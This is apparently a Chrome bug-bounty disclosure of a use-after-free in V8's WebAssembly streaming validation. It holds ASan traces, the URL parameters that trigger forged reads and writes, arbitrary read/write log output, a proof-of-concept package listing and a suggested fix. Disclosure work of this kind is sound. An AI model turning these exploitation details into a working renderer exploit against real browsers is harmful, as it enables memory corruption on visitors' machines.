    #5 0x7f4cf1fde7f5 in base::internal::ThreadGroupImpl::Start(unsigned long, unsigned long, base::TimeDelta, scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*, base::internal::ThreadGroup::WorkerEnvironment, bool, std::__Cr::optional<base::TimeDelta>) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f4cf1feb3c4 in base::internal::ThreadPoolImpl::Start(base::ThreadPoolInstance::InitParams const&, base::WorkerThreadObserver*) base/task/thread_pool/thread_pool_impl.cc:241:35
    #7 0x7f4cd158354d in content::ChildProcess::ChildProcess(base::ThreadType, std::__Cr::unique_ptr<base::ThreadPoolInstance::InitParams, std::__Cr::default_delete<base::ThreadPoolInstance::InitParams>>, bool) content/child/child_process.cc:112:20
    #8 0x7f4cd5fafd7a in content::RenderProcess::RenderProcess(std::__Cr::unique_ptr<base::ThreadPoolInstance::InitParams, std::__Cr::default_delete<base::ThreadPoolInstance::InitParams>>) content/renderer/render_process.cc:18:7
    #9 0x7f4cd5fafe32 in content::RenderProcessImpl::RenderProcessImpl() content/renderer/render_process_impl.cc:99:7
    #10 0x7f4cd5fb02ea in content::RenderProcessImpl::Create() content/renderer/render_process_impl.cc:224:31
    #11 0x7f4cd5fe2ac8 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:274:53
    #12 0x7f4cd64170b2 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:665:14
    #13 0x7f4cd64181a8 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:772:12
    #14 0x7f4cd641ac36 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1164:10
    #15 0x7f4cd6415006 in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
    #16 0x7f4cd641536a in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
    #17 0x5583320a953c in ChromeMain chrome/app/chrome_main.cc:194:12
    #18 0x7f4c7d107249 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-buffer-overflow gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10 in v8::internal::wasm::ValidateFunctionsStreamingJob::GetMaxConcurrency(unsigned long) const
Shadow bytes around the buggy address:
  0x7bfc6d391600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391780: fa fa f7 fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x7bfc6d391800: 00 00 fa fa fa fa fa fa f7 fa fa fa fa fa fa fa
=>0x7bfc6d391880: fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
  0x7bfc6d391900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa fa
  0x7bfc6d391980: fa fa fa fa f7 fa 00 00 00 00 00 00 00 00 00 00
  0x7bfc6d391a00: 00 00 00 00 fa fa fa fa fa fa f7 fa fa fa fa fa
  0x7bfc6d391a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bfc6d391b00: f7 fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

==3234593==ADDITIONAL INFO

==3234593==Note: Please include this section with the ASan report.
Task trace:


Command line: `/proc/self/exe --type=renderer --crashpad-handler-pid=3234431 --enable-crash-reporter=, --noerrdialogs --user-data-dir=/tmp/chrome-vrp-bug1-asan-crash-profile-20260612T010104Z --change-stack-guard-on-fork=enable --no-sandbox --disable-breakpad --ozone-platform=headless --lang=en-US --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --time-ticks-at-unix-epoch=-1778031425899540 --launch-time-ticks=3194642331844 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,5110095603065809577,10759143092396146351,262144 --disable-features=PaintHolding --variations-seed-version --pseudonymization-salt-handle=7,i,2230811171117207483,3885191951693691263,4 --trace-process-track-uuid=3190708991934122588 --enable-logging=stderr`


==3234593==END OF ADDITIONAL INFO

==3234593==ABORTING

Frame #0 on a thread-pool worker is the validation worker; the freed ValidateFunctionsStreamingJobData was reallocated and the worker reads through the stale pointer.

Controlled read

asan_crash=forged_read64&asan_crash_value=0x414243444546 makes V8 load 8 bytes from an attacker-chosen address. The page logs the armed primitive, then the load faults:

RUN121_ASAN_CONTROLLED_CRASH_ARMED kind=forged_read64 index=1 byte_offset=8 value=0x414243444546 view_byteLength=64 view_length=8 buffer_byteLength=8
RUN121_ASAN_CONTROLLED_REGISTER_CRASH_ARMED kind=forged_read64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3241928==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7caa9e48c3f8 at pc 0x7ffabf3c3271 bp 0x7bfa7d27a6c0 sp 0x7bfa7d27a6b8
READ of size 8 at 0x7caa9e48c3f8 thread T8 (ThreadPoolForeg)
[0612/010516.751271:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/010516.751458:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
Received signal 11 SEGV_ACCERR 7a9c43444545
Received signal 11 SEGV_ACCERR 7a9c43444545

The fault value 7a9c43444545 is the chosen 0x414243444546 after V8 pointer-tag/cage decoding; its high bits match this run’s leaked heap base (RUN119_ADDROF_LEAK value=0x7a9c01077889), so the read address is attacker-derived, not random. Full log: traces/controlled-read-and-arw/chrome.stderr.log.

Controlled write

asan_crash=forged_write64&asan_crash_value=0x414243444546&asan_crash_write_value=0x5152535455565758 makes V8 store an attacker-chosen value to an attacker-chosen address. This run captured the validation worker reading freed signature storage from inside the attacker-driven streaming decode, then the forged store faulting at the chosen address (traces/controlled-write/):

RUN121_ASAN_CONTROLLED_REGISTER_CRASH_ARMED kind=forged_write64 target=0x414243444546 forge_arg=0x41424344453e write_value=0x5152535455565758 alias_type=number
=================================================================
==3481237==ERROR: AddressSanitizer: container-overflow on address 0x7c3aa9c46790 at pc 0x7f8acab1c1e8 bp 0x7b89994761b0 sp 0x7b89994761a8
READ of size 8 at 0x7c3aa9c46790 thread T13 (ThreadPoolForeg)
    #0 0x7f8acab1c1e7 in v8::internal::wasm::ValidateFunctionsStreamingJob::Run(v8::JobDelegate*) gen/third_party/libc++/src/include/__atomic/support/c11.h:81:10
    #1 0x7f8ac55515f3 in base::internal::Invoker<base::internal::FunctorTraits<gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0 const&, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>> const&>, base::internal::BindState<false, false, false, gin::V8Platform::CreateJobImpl(v8::TaskPriority, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>, v8::SourceLocation const&)::$_0, std::__Cr::unique_ptr<v8::JobTask, std::__Cr::default_delete<v8::JobTask>>>, void (base::JobDelegate*)>::Run(base::internal::BindStateBase*, base::JobDelegate*) gin/v8_platform.cc:301:23
    #2 0x7f8b2e83e88f in base::RepeatingCallback<void (base::JobDelegate*)>::Run(base::JobDelegate*) const & base/functional/callback.h:346:12
    #3 0x7f8b2e83ff7f in base::internal::Invoker<base::internal::FunctorTraits<base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0 const&, base::internal::JobTaskSource*>, base::internal::BindState<false, false, false, base::internal::JobTaskSource::JobTaskSource(base::Location const&, base::TaskTraits const&, base::ThreadType, base::RepeatingCallback<void (base::JobDelegate*)>, base::RepeatingCallback<unsigned long (unsigned long)>, base::internal::PooledTaskRunnerDelegate*)::$_0, base::internal::UnretainedWrapper<base::internal::JobTaskSource, base::unretained_traits::MayNotDangle, (partition_alloc::internal::RawPtrTraits)0>>, void ()>::Run(base::internal::BindStateBase*) base/task/thread_pool/job_task_source.cc:114:32
    #4 0x7f8b2e7a0da9 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #5 0x7f8b2e8604eb in base::internal::TaskTracker::RunTaskImpl(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/common/task_annotator.h:112:5
    #6 0x7f8b2e860716 in base::internal::TaskTracker::RunSkipOnShutdown(base::internal::Task&, base::TaskTraits const&, base::internal::TaskSource*, base::internal::SequenceToken const&) base/task/thread_pool/task_tracker.cc:675:3
    #7 0x7f8b2e85eccf in base::internal::TaskTracker::RunTask(base::internal::Task, base::internal::TaskSource*, base::TaskTraits const&, base::ThreadType) base/task/thread_pool/task_tracker.cc:705:7
    #8 0x7f8b2e85de8b in base::internal::TaskTracker::RunAndPopNextTask(base::internal::RegisteredTaskSource) base/task/thread_pool/task_tracker.cc:393:5
    #9 0x7f8b2e8845e3 in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:473:36
    #10 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #11 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #12 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #13 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

0x7c3aa9c46790 is located 80 bytes inside of 112-byte region [0x7c3aa9c46740,0x7c3aa9c467b0)
allocated by thread T0 (chrome) here:
    #0 0x55721b07663d in operator new(unsigned long) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x679563d) (BuildId: b2222a0c4e545691)
    #1 0x7f8ac8ae228f in std::__Cr::vector<unsigned char, std::__Cr::allocator<unsigned char>>::reserve(unsigned long) gen/third_party/libc++/src/include/__new/allocate.h:42:28
    #2 0x7f8acab4e533 in v8::internal::wasm::WasmModuleSignatureStorage::AllocateMoreStorage(unsigned long) v8/src/wasm/wasm-module.h:749:17
    #3 0x7f8acab4e2ff in v8::internal::wasm::WasmModuleSignatureStorage::Allocate(unsigned long, unsigned long) v8/src/wasm/wasm-module.h:710:7
    #4 0x7f8acab4c9c4 in v8::internal::wasm::ModuleDecoderImpl::consume_sig() v8/src/codegen/signature.h:42:25
    #5 0x7f8acab4bc6e in v8::internal::wasm::ModuleDecoderImpl::consume_base_type_definition(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:577:34
    #6 0x7f8acab4b3a2 in v8::internal::wasm::ModuleDecoderImpl::consume_described_type(bool, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:658:14
    #7 0x7f8acab4aa3f in v8::internal::wasm::ModuleDecoderImpl::consume_describing_type(unsigned long, v8::internal::SharedFlag) v8/src/wasm/module-decoder-impl.h:689:14
    #8 0x7f8acab4a298 in v8::internal::wasm::ModuleDecoderImpl::consume_shared_type(unsigned long) v8/src/wasm/module-decoder-impl.h:715:14
    #9 0x7f8acab4875b in v8::internal::wasm::ModuleDecoderImpl::consume_subtype_definition(unsigned long) v8/src/wasm/module-decoder-impl.h:749:14
    #10 0x7f8acab39d85 in v8::internal::wasm::ModuleDecoderImpl::DecodeTypeSection() v8/src/wasm/module-decoder-impl.h:780:31
    #11 0x7f8acab2cf89 in v8::internal::wasm::ModuleDecoderImpl::DecodeSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-decoder-impl.h:437:9
    #12 0x7f8acab12fb9 in v8::internal::wasm::AsyncStreamingProcessor::ProcessSection(v8::internal::wasm::SectionCode, v8::base::Vector<unsigned char const>, unsigned int) v8/src/wasm/module-compiler.cc:3159:12
    #13 0x7f8acabaa938 in v8::internal::wasm::AsyncStreamingDecoder::DecodeSectionPayload::Next(v8::internal::wasm::AsyncStreamingDecoder*) v8/src/wasm/streaming-decoder.cc:196:22
    #14 0x7f8acaba752d in v8::internal::wasm::AsyncStreamingDecoder::OnBytesReceived(v8::base::Vector<unsigned char const>) v8/src/wasm/streaming-decoder.cc:328:26
    #15 0x7f8acac5de28 in v8::WasmStreaming::OnBytesReceived(unsigned char const*, unsigned long) v8/src/wasm/wasm-js.cc:77:25
    #16 0x7f8ad7c581fa in blink::(anonymous namespace)::FetchDataLoaderForWasmStreaming::OnStateChange() v8_wasm_response_extensions.cc
    #17 0x7f8ad9071e97 in blink::ReadableStreamBytesConsumer::OnRead(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x403be97) (BuildId: 86034637d8af1588)
    #18 0x7f8ad9073857 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::ReadableStreamBytesConsumer::*&&)(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*), cppgc::internal::BasicPersistent<blink::ReadableStreamBytesConsumer, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&, cppgc::internal::BasicPersistent<blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>&&>, base::internal::BindState<true, true, false, void (blink::ReadableStreamBytesConsumer::*)(blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>*), cppgc::internal::BasicPersistent<blink::ReadableStreamBytesConsumer, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>, cppgc::internal::BasicPersistent<blink::DOMTypedArray<unsigned char, v8::Uint8Array, false>, cppgc::internal::StrongPersistentPolicy, cppgc::internal::IgnoreLocationPolicy, cppgc::internal::DisabledCheckingPolicy>>, void ()>::RunOnce(base::internal::BindStateBase*) readable_stream_bytes_consumer.cc
    #19 0x7f8ad0a47d08 in blink::scheduler::EventLoop::RunPendingMicrotask(void*) base/functional/callback.h:155:12
    #20 0x7f8ac9e95fa5 in v8::internal::Runtime_RunMicrotaskCallback(int, unsigned long*, v8::internal::Isolate*) v8/src/runtime/runtime-promise.cc:93:3
    #21 0x7b8a772804b5  (<unknown module>)
    #22 0x7b8a771ffef5  (<unknown module>)
    #23 0x7b8a771cb62a  (<unknown module>)
    #24 0x7f8ac8d01fa8 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:493:41
    #25 0x7f8ac8d03da9 in v8::internal::(anonymous namespace)::InvokeWithTryCatch(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) v8/src/execution/execution.cc:535:18
    #26 0x7f8ac8d041af in v8::internal::Execution::TryRunMicrotasks(v8::internal::Isolate*, v8::internal::MicrotaskQueue*) v8/src/execution/execution.cc:639:10
    #27 0x7f8ac8dabdf1 in v8::internal::MicrotaskQueue::RunMicrotasks(v8::internal::Isolate*) v8/src/execution/microtask-queue.cc:185:22
    #28 0x7f8ac8dab9b4 in v8::internal::MicrotaskQueue::PerformCheckpointInternal(v8::Isolate*) v8/src/execution/microtask-queue.cc:129:3
    #29 0x7f8ad7c3fc55 in blink::V8ScriptRunner::CallFunction(v8::Local<v8::Function>, blink::ExecutionContext*, v8::Local<v8::Value>, int, v8::Local<v8::Value>*, v8::Isolate*) (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/libblink_core.so+0x2c09c55) (BuildId: 86034637d8af1588)

Thread T13 (ThreadPoolForeg) created by T8 (ThreadPoolForeg) here:
    #0 0x55721b020e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f8b2e916f7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f8b2e882011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f8b2e862802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f8b2e86248e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f8b2e86c106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f8b2e88442a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
    #7 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #8 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #9 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #10 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

Thread T8 (ThreadPoolForeg) created by T4 (ThreadPoolForeg) here:
    #0 0x55721b020e31 in pthread_create (/workspace/targets/chrome-stable-149/src/out/chrome_asan_local/chrome+0x673fe31) (BuildId: b2222a0c4e545691)
    #1 0x7f8b2e916f7c in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThreadBase::Delegate*, base::PlatformThreadHandle*, base::ThreadType, base::MessagePumpType) base/threading/platform_thread_posix.cc:153:13
    #2 0x7f8b2e882011 in base::internal::WorkerThread::Start(scoped_refptr<base::SingleThreadTaskRunner>, base::WorkerThreadObserver*) base/task/thread_pool/worker_thread.cc:185:3
    #3 0x7f8b2e862802 in base::internal::ThreadGroup::BaseScopedCommandsExecutor::Flush() base/task/thread_pool/thread_group.cc:65:13
    #4 0x7f8b2e86248e in base::internal::ThreadGroup::BaseScopedCommandsExecutor::~BaseScopedCommandsExecutor() base/task/thread_pool/thread_group.cc:56:3
    #5 0x7f8b2e86c106 in base::internal::ThreadGroupImpl::WorkerDelegate::GetWork(base::internal::WorkerThread*) base/task/thread_pool/thread_group_impl.cc:71:3
    #6 0x7f8b2e88442a in base::internal::WorkerThread::RunWorker() base/task/thread_pool/worker_thread.cc:460:52
    #7 0x7f8b2e8837fe in base::internal::WorkerThread::RunPooledWorker() base/task/thread_pool/worker_thread.cc:359:3
    #8 0x7f8b2e883212 in base::internal::WorkerThread::ThreadMain() base/task/thread_pool/worker_thread.cc:339:7
    #9 0x7f8b2e9178bc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
    #10 0x55721b03afb6 in asan_thread_start(void*) asan_interceptors.cpp

Thread T4 (ThreadPoolForeg) created by T0 (chrome) here:
[0612/031508.488241:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq: No such file or directory (2)
[0612/031508.488477:ERROR:third_party/crashpad/crashpad/util/file/file_io_posix.cc:145] open /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq: No such file or directory (2)
[0612/031508.510884:ERROR:third_party/crashpad/crashpad/util/process/process_memory_linux.cc:50] pread64: Input/output error (5)
Received signal 11 SEGV_ACCERR 7a2c43444545
Received signal 11 SEGV_ACCERR 7a2c43444545

The crash stack ties the bug to the attacker’s input directly: ReadableStreamBytesConsumer::OnRead → FetchDataLoaderForWasmStreaming → WasmStreaming::OnBytesReceived → AsyncStreamingProcessor::ProcessSection (module-compiler.cc:3159) → ValidateFunctionsStreamingJob::Run, with the freed region allocated by WasmModuleSignatureStorage::Allocate during decode. The trailing Received signal 11 SEGV_ACCERR 7a2c43444545 is the forged store faulting at the chosen address (0x414243444546 after cage decoding; high bits match this run’s heap base).

Arbitrary read/write

Combining the two, the same control yields a full read/modify/read over a victim BigUint64Array: the page leaks its address, aliases its length field, reads it, overwrites it, and reads it back, and the corruption is visible from JavaScript:

RUN119_ADDROF_LEAK value=0x7a9c01077889
RUN120_ARW_OBJECT value=0x7a9c01077a89
RUN120_ARW_READ_BEFORE value=0x100000000
RUN120_ARW_WRITE value=0x800000000
RUN120_ARW_READ_AFTER value=0x800000000 byteLength=64 length=8
RUN120_ARW_CONTROL
RUN122_ARW_TYPED_ARRAY_SHOWCASE object=0x7a9c01077a89 field=0x7a9c01077aa9 before=0x100000000 write=0x800000000 after=0x800000000 byteLength=64 length=8

The alias re-read returns the value just written and the victim’s JavaScript-visible byteLength changes from 8 to 64 — a corrupted length reflected in script-reachable state, which distinguishes genuine arbitrary read/write from an incidental crash. Full log: traces/controlled-read-and-arw/chrome.stderr.log.

What this proves

  • Controlled read — a load from an attacker-chosen address.
  • Controlled write — a store of an attacker-chosen value to an attacker-chosen address.
  • Arbitrary read/write — read + write of a victim object, reflected in JavaScript state.
  • All reachable from a web page; renderer memory corruption with no user interaction beyond visiting the page.
  • Not claimed: browser-process or operating-system compromise.

Suggested fix

Make the discard path match the safe abort/finish paths for validation-worker lifetime:

  • cancel or join validate_functions_job_handle_ before freeing ValidateFunctionsStreamingJobData;
  • ensure AsyncStreamingProcessor::~AsyncStreamingProcessor() cannot free validation state while any ValidateFunctionsStreamingJob::Run() can still dereference it;
  • treat shared ownership of validation data as defense in depth, not a replacement for cancellation;
  • keep fail-stop CHECKs, but do not rely on a release CHECK_NULL as the complete fix unless worker cancellation is also guaranteed.

Package contents

01-wasm-streaming-validation-uaf-submission.md   this report
repro-steps.md                                   condensed run instructions
poc/serve_poc.py                                 Python static server
poc/index.html                                   Payment Handler registration + entry
poc/payment-handler-sw.js                        service worker that opens the exploit page
poc/payment-manifest.json                        Payment Handler manifest
poc/payment-icon.png                             manifest icon
poc/wasm-asan-controlled-crash-poc.html          exploit (UAF -> controlled read/write -> ARW)
traces/plain-uaf-crash/                          plain validation-worker UAF crash (full ASAN stderr + url + notes)
traces/controlled-read-and-arw/                  controlled-read + ARW + chosen-address crash (full ASAN stderr + url + notes)
traces/controlled-write/                         controlled-write run, Run() container-overflow + forged store (full ASAN stderr + url + notes)

Credit

Duc Nguyen of Calif.io in collaboration with OpenAI Codex Security

View on issue tracker